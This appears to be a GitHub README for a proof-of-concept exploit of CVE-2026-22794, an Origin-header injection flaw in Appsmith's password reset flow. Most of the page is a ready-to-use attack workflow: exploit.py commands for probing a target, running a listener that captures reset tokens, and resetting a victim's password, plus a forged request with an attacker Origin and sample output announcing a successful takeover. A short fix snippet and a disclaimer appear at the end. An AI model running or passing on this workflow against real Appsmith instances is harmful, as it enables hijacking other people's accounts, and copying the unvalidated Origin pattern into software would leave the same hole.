
🔴 CVE-2026-22794 - Appsmith Password Reset Account Takeover via Origin Header Injection | PoC Exploit + Nuclei Template
Password Reset Link Hijacking via Origin Header Manipulation
This repository contains a Proof of Concept (PoC) exploit for CVE-2026-22794, a critical vulnerability in Appsmith that allows attackers to hijack password reset tokens and achieve full account takeover.
| Field | Value |
|---|
| CVE ID | CVE-2026-22794 |
| Affected Software | Appsmith (versions prior to patch) |
| Vulnerability Type | Origin Header Injection |
| Impact | Full Account Takeover |
| CVSS Score | 9.1 (Critical) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | Required (victim clicks link) |
Appsmith uses the HTTP Origin header without validation to construct password reset and email verification URLs. The vulnerable code directly assigns the Origin header to the password reset base URL:
userPasswordDTO.setBaseUrl(originHeader);
This allows an attacker to:
┌─────────────────────────────────────────────────────────────────┐
│ ATTACK FLOW │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ ATTACKER │ │ APPSMITH │ │ VICTIM │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. Send email with │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. Victim clicks link │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. Token captured! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. ACCOUNT TAKEOVER! ✓ │ │
│ │ │
# Clone the repository
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# Install dependencies
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Password Reset Link: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] INCOMING REQUEST CAPTURED!
[*] Path: /user/resetPassword?token=abc123xyz789...
[!!!] PASSWORD RESET TOKEN CAPTURED!
[!!!] Token: abc123xyz789...
[+] ACCOUNT TAKEOVER SUCCESSFUL!
[+] Password has been reset to: NewP@ssw0rd!
Organizations using Appsmith should:
// ❌ VULNERABLE CODE
userPasswordDTO.setBaseUrl(originHeader);
// ✅ SECURE CODE
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// Or validate against whitelist
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # This file
├── exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── LICENSE # MIT License
└── docs/
└── technical_analysis.md # Detailed vulnerability analysis
This tool is provided for authorized security testing and educational purposes only.
Security Researcher
This project is licensed under the MIT License - see the LICENSE file for details.
⭐ If you found this useful, please star the repository! ⭐